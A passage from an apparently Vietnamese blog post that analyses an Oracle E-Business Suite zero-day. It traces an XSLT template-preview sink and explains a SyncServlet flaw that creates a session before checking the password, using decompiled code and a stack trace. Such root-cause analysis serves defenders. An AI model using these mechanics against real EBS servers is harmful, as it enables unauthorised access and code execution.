</code></code></pre><p>Sau khi save template, click <code>Preview</code> &#273;&#7875; trigger bug:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!q295!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!q295!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 424w, https://substackcdn.com/image/fetch/$s_!q295!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 848w, https://substackcdn.com/image/fetch/$s_!q295!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1272w, https://substackcdn.com/image/fetch/$s_!q295!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!q295!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png" width="1336" height="596" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:596,&quot;width&quot;:1336,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!q295!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 424w, https://substackcdn.com/image/fetch/$s_!q295!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 848w, https://substackcdn.com/image/fetch/$s_!q295!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1272w, https://substackcdn.com/image/fetch/$s_!q295!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F96e94a83-a3d6-404e-a2a4-1b51e902e10c_1336x596.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Set breakpoint t&#7841;i <code>oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest()</code></p><p>Khi ch&#7885;n Preview,  EBS s&#7869; ki&#7875;m tra xem request c&#243; ph&#7843;i lovEvent kh&#244;ng, n&#7871;u kh&#244;ng s&#7869; ti&#7871;p t&#7909;c check xem c&#243; param t&#432;&#417;ng &#7913;ng v&#7899;i t&#7915;ng ch&#7913;c n&#259;ng hay kh&#244;ng. &#7902; &#273;&#226;y ta &#273;ang ch&#7885;n <code>Preview</code> n&#234;n s&#7869; c&#243; param <code>preview=Y</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yfLg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yfLg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 424w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 848w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1272w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yfLg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png" width="1186" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1186,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yfLg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 424w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 848w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1272w, https://substackcdn.com/image/fetch/$s_!yfLg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ebb166d-e7a8-4b4e-a36f-29d9dcab5465_1186x485.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WI6t!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WI6t!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 424w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 848w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1272w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WI6t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png" width="1181" height="322" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:322,&quot;width&quot;:1181,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WI6t!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 424w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 848w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1272w, https://substackcdn.com/image/fetch/$s_!WI6t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F764e3a03-3213-45b2-b6b2-7ec0e4bc36f9_1181x322.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>t&#7841;i <code>TemplateGeneralCO.previewTemplate()</code>, ti&#7871;p t&#7909;c check xem c&#243; t&#7891;n t&#7841;i param <code>TemplateCode</code> n&#7871;u c&#243; s&#7869; g&#7885;i t&#7899;i <code>TemplatesAMImpl.processTemplate()</code> &#8594; <code>TemplateHelper.processTemplate()</code> &#8594; <code>TemplateHelper.runProcessTemplate()</code>.</p><p>Method <code>TemplateHelper.runProcessTemplate()</code> s&#7869; ch&#7885;n c&#225;c engine t&#432;&#417;ng &#7913;ng v&#7899;i template type &#273;&#7875; x&#7917; l&#253;. Template type c&#7911;a ta l&#224; <code>XSL-HTML</code> s&#7869; do engine <code>XSLTWrapper</code> x&#7917; l&#253; :</p><pre><code><code>else {
  Logger.log("TemplateHelper.runProcessTemplate(): Calling XSLT processor.", 1);
  XSLTWrapper var36 = new XSLTWrapper(var8);
  if (var2.getClass().isArray()) {
      throw new XDOException("You cannot pass multiple data XMLs to PDF Form processor.");
  }

  if (var2.getClass().getName().endsWith("Reader")) {
      var36.transform((Reader)var2, new InputStreamReader(var10, "UTF-8"), var22);
  } else {
      var36.transform((InputStream)var2, var10, var22);
}
</code></code></pre><p>t&#7915; &#273;&#226;y ti&#7871;p t&#7909;c call t&#7899;i <code>XSLT10gR1.transform()</code> &#8594; <code>XSLT10gR1.invokeProcessXSL()</code> v&#224; &#273;&#226;y c&#361;ng ch&#237;nh l&#224; sink c&#7911;a bug n&#224;y:</p><pre><code><code>private void invokeProcessXSL(Object var1, Object var2, Object var3, OutputStream var4) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
    Class[] var5 = new Class[]{Class.forName("oracle.xdo.parser.v2.XSLStylesheet"), Class.forName("oracle.xdo.parser.v2.XMLDocument"), class$java$io$OutputStream != null ? class$java$io$OutputStream : (class$java$io$OutputStream = class$("java.io.OutputStream"))};
    Method var6 = null;
    var6 = var1.getClass().getMethod("processXSL", var5);
    var6.invoke(var1, var2, var3, var4);
}
</code></code></pre><p>Stack trace t&#7915; sink t&#7899;i source:</p><pre><code><code>oracle.apps.xdo.common.xml.XSLT10gR1.invokeProcessXSL(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLTWrapper.transform(Unknown Source)
oracle.apps.xdo.oa.schema.server.TemplateHelper.runProcessTemplate(TemplateHelper.java:6108)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3481)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3570)
oracle.apps.xdo.oa.template.server.TemplatesAMImpl.processTemplate(TemplatesAMImpl.java:2144)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:606)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAApplicationModuleImpl.invokeMethod(OAApplicationModuleImpl.java:787)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.previewTemplate(TemplateGeneralCO.java:774)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest(TemplateGeneralCO.java:158)</code></code></pre><h2><strong>2. Authentication Bypass</strong></h2><p>&#272;&#226;y c&#243; l&#7869; l&#224; m&#7843;nh gh&#233;p cu&#7889;i c&#249;ng c&#242;n thi&#7871;u c&#7911;a 0day n&#224;y, m&#7863;c d&#249; &#273;&#227; &#273;&#432;&#7907;c &#273;&#7873; c&#7853;p trong c&#225;c b&#224;i ph&#226;n t&#237;ch c&#7911;a CrowdStrike v&#224; Mandiant, tuy nhi&#234;n &#273;&#7875; produce &#273;&#432;&#7907;c, c&#7847;n ph&#7843;i setup lab v&#224; debug s&#226;u h&#417;n.</p><p>Theo b&#224;i ph&#226;n t&#237;ch c&#7911;a c&#7843; CrowdStrike v&#224; Mandiant, chu&#7895;i khai th&#225;c n&#224;y b&#7855;t &#273;&#7847;u b&#7857;ng m&#7897;t request <code>POST</code> t&#7899;i endpoint <code>/OA_HTML/SyncServlet</code>.</p><p>Servlet n&#224;y &#273;&#432;&#7907;c &#273;&#7883;nh ngh&#297;a trong t&#7879;p <code>web.xml</code> t&#7841;i &#273;&#432;&#7901;ng d&#7851;n: <code>/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml</code></p><pre><code><code>&lt;servlet-mapping&gt; 
        &lt;servlet-name&gt;SyncServlet&lt;/servlet-name&gt; 
        &lt;url-pattern&gt;/SyncServlet&lt;/url-pattern&gt; 
    &lt;/servlet-mapping&gt;

&lt;servlet&gt; 
     &lt;servlet-name&gt;SyncServlet&lt;/servlet-name&gt; 
     &lt;servlet-class&gt;oracle.apps.jtf.cac.sync.transport.SyncServlet&lt;/servlet-class&gt; 
  &lt;/servlet&gt;
</code></code></pre><p>V&#7873; c&#417; b&#7843;n, servlet n&#224;y &#273;&#243;ng vai tr&#242; l&#224; m&#7897;t HTTP Gateway &#273;&#7875; x&#7917; l&#253; vi&#7879;c &#273;&#7891;ng b&#7897; h&#243;a l&#7883;ch gi&#7919;a Oracle EBS v&#224; c&#225;c thi&#7871;t b&#7883; ho&#7863;c &#7913;ng d&#7909;ng b&#234;n ngo&#224;i (nh&#432; Outlook ho&#7863;c &#273;i&#7879;n tho&#7841;i di &#273;&#7897;ng) d&#7921;a tr&#234;n giao th&#7913;c SyncML (Synchronization Markup Language).</p><p>Ban &#273;&#7847;u <code>SyncServlet</code> s&#7869; ki&#7875;m tra message hi&#7879;n t&#7841;i c&#243; thu&#7897;c phi&#234;n &#273;ang t&#7891;n t&#7841;i kh&#244;ng d&#7921;a tr&#234;n param <code>sid</code> v&#224; <code>state</code>, n&#7871;u c&#243; th&#236; ti&#7871;p t&#7909;c duy tr&#236; phi&#234;n &#273;&#243;:</p><pre><code><code>String var14 = var1.getParameter("sid");
String var15 = var1.getParameter("state");


if (var14 != null &amp;&amp; var14.length() &gt; 0 &amp;&amp; !String.valueOf(3).equals(var15) &amp;&amp; !String.valueOf(1).equals(var15)) {
    var28 = new SyncContextManager();
    this.context = var28.getSyncContext((String)null, (String)null, var25, (Message)null, var8, var129, var10);
    this.context.setPrincipalInfo(var19, var18);
  
    SyncPersistentStore var29 = new SyncPersistentStore(this.context);
    this.context.setPersistentStore(var29);

   
    if (!this.context.validateSession(var14, true)) {
        throw new ServiceUnavailableException("Server Timed Out");
    }
  
    var6 = new SyncHandler(this.context);
    if (var19 != null &amp;&amp; var18 != null) {
        var6.readPrincipal(var19, var18);
    }

    HashMap var30 = var29.getSyncAgents();
    Iterator var31 = var30.keySet().iterator();
    var32 = null;
    HashMap var33 = new HashMap(10);

    while (var31.hasNext()) {
        SyncAgent var34 = (SyncAgent) var30.get(var31.next());
        if (var34 != null) {
            var32 = var1.getParameter(var34.name);
        }

        if (var32 != null) {
            Database var35 = new Database(
                var34.uri, 
                (String)null, 
                (Target)null, 
                (Source)null, 
                new SyncAnchor((String)null, var17), 
                (Principal)null
            );
            var35.setServerAnchor(new SyncAnchor((String)null, var32));
            var33.put(var34.uri, var35);
        }
    }

    var6.setDbs(var33);
}
</code></code></pre><p>n&#7871;u trong message kh&#244;ng c&#243; hai param tr&#234;n <code>SyncServlet</code> s&#7869; ti&#7871;n h&#224;nh x&#225;c th&#7921;c b&#7857;ng username v&#224; password:</p><pre><code><code>  if (var6 == null) {    
      var19 = var5.getHeader().getCredential().getUsername();    // [1]
      var39 = var5.getHeader().getCredential().getPassword();
      var18 = var5.getHeader().getSource().getURI();
      if (var19 == null || var19.trim().length() == 0 || var39 == null || var39.trim().length() == 0) {
          throw new UnauthorizedException("Username or password is missing");
      }

      SyncContextManager var141 = new SyncContextManager();
      this.context = var141.getSyncContext(var19, var39, var25, var5, var8, var129, var10);
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }

      var141.createSession(this.context, var19, var39);    // [2]
      var14 = this.context.getSessionCookieValue();        // [4]
      var141.validateLogon(this.context, var19, var39);    // [3]
      var6 = new SyncHandler(this.context);
 } else {
      this.context = var6.getSyncContext();
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }
 }
</code></code></pre><p>&#272;i theo lu&#7891;ng x&#7917; l&#253; c&#7911;a method <code>doPost()</code>: n&#7871;u message SyncML (var 5) kh&#244;ng ch&#7913;a sid, method s&#7869; th&#7921;c hi&#7879;n c&#225;c b&#432;&#7899;c sau:</p><ul><li><p>[1]: L&#7845;y username v&#224; password t&#7915; header c&#7911;a SyncML.</p></li><li><p>[2]: T&#7841;o m&#7897;t session m&#7899;i cho user.</p></li><li><p>[3]: Check th&#244;ng tin &#273;&#259;ng nh&#7853;p.</p></li><li><p>[4]: G&#225;n session cookie v&#7915;a &#273;&#432;&#7907;c t&#7841;o cho var14.</p></li></ul><p>L&#7895;i logic xu&#7845;t hi&#7879;n ngay t&#7841;i &#273;&#226;y: <code>SyncServlet</code> s&#7869; t&#7841;o session tr&#432;&#7899;c khi ki&#7875;m tra m&#7853;t kh&#7849;u c&#7911;a user truy&#7873;n v&#224;o. N&#7871;u check method <code>createSession()</code>, ch&#250;ng ta c&#243; th&#7875; th&#7845;y n&#243; kh&#244;ng h&#7873; ki&#7875;m tra m&#7853;t kh&#7849;u m&#224; ch&#7881; x&#225;c nh&#7853;n xem username c&#243; t&#7891;n t&#7841;i hay kh&#244;ng:</p><pre><code><code>public void createSession(SyncContext var1, String var2, String var3) throws Exception {
        if (this.logger.isEnabled(2)) {
            this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "Enter createSession", 2);
        }

        try {
            this.logger = var1.getLogger();
            if (!var1.createSession(var2.toUpperCase())) {
                throw new UnauthorizedException("Session can't be created for " + var2);
            }

            SessionManager var4 = var1.getSessionManager();
            if (this.logger.isEnabled(3)) {
                this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "createSession returned successfully", 3);
            }
        } catch (Exception var8) {
            // REDACTED
        } finally {
            // REDACTED
        }

    }
</code></code></pre><p>Ch&#7881; c&#7847;n username t&#7891;n t&#7841;i trong h&#7879; th&#7889;ng, m&#7897;t session s&#7869; &#273;&#432;&#7907;c kh&#7903;i t&#7841;o.</p><p>M&#7863;c d&#249; <code>validateLogon()</code> s&#7869; throw exception <code>UnauthorizedException</code> n&#7871;u password sai, nh&#432;ng nh&#225;nh <code>catch</code> sau &#273;&#243; s&#7869; nu&#7889;t exception n&#224;y &#273;&#7875; return th&#244;ng b&#225;o l&#7895;i cho client m&#224; kh&#244;ng h&#7873; h&#7911;y b&#7887; session v&#7915;a t&#7841;o.</p><pre><code><code>catch (Exception var233) {
     Exception var119 = var233;
     var39 = var119.fillInStackTrace();
     var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var119);
     if (!(var119 instanceof ServerException) &amp;&amp; !(var119 instanceof RepresentationException) &amp;&amp; !(var119 instanceof DataStoreFailureException) &amp;&amp; !(var119 instanceof ProtocolVersionNotSupportedException) 
    &amp;&amp; !(var119 instanceof BadRequestException) &amp;&amp; !(var119 instanceof UnauthorizedException)) {
         var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "exiting sync servlet due to unexpected exception", 3);
             throw new ServletException(var39.toString());
     }

     try {
         var4 = SyncErrorHandler.processError(var5, var12, var39);
         var7 = var4.getMessage();
         var112 = false;
         var210 = false;
     }
</code></code></pre><p>Cu&#7889;i c&#249;ng, EBS s&#7869; return response ch&#7913;a session cookie h&#7907;p l&#7879; v&#7873; cho client:</p><pre><code><code>if (var112) {
            // REDACTED
} 
else {
      // REDACTED
            if (var14 != null) {
                var131 = var131 + "sid=" + var14;    // [5]
            }  
        //REDACTED
            if (var4 != null &amp;&amp; var7 != null) {
                if (var131 != null &amp;&amp; var131.length() &gt; 0) {
                    var131 = URLEncoder.encode(var131);
                    var7.getHeader().setResponseURI(var131);    // [6]
                }
                if (var3 != null &amp;&amp; var3.isEnabled(2)) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Response SYNC Message: " + var7.toString(), 2);
                }
                var137 = null;
                if ("application/vnd.syncml+xml".equals(var4.getMimeType())) {
                    var137 = var7.toXML().getBytes();
                } else if ("application/vnd.syncml+wbxml".equals(var4.getMimeType())) {
                    try {
                        var137 = WBXMLTools.toWBXML(var7);     
                    } catch (Exception var216) {
                        var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var216);
                    }
                }
                try {
                    ((OutputStream)var20).write(var137);        // [7]
                } catch (Exception var214) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var214);
                } finally {
                    ((OutputStream)var20).flush();
                    ((OutputStream)var20).close();
                }

            } else {
                var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "null response message", 4);
                throw new ServletException("response message is null");
            }
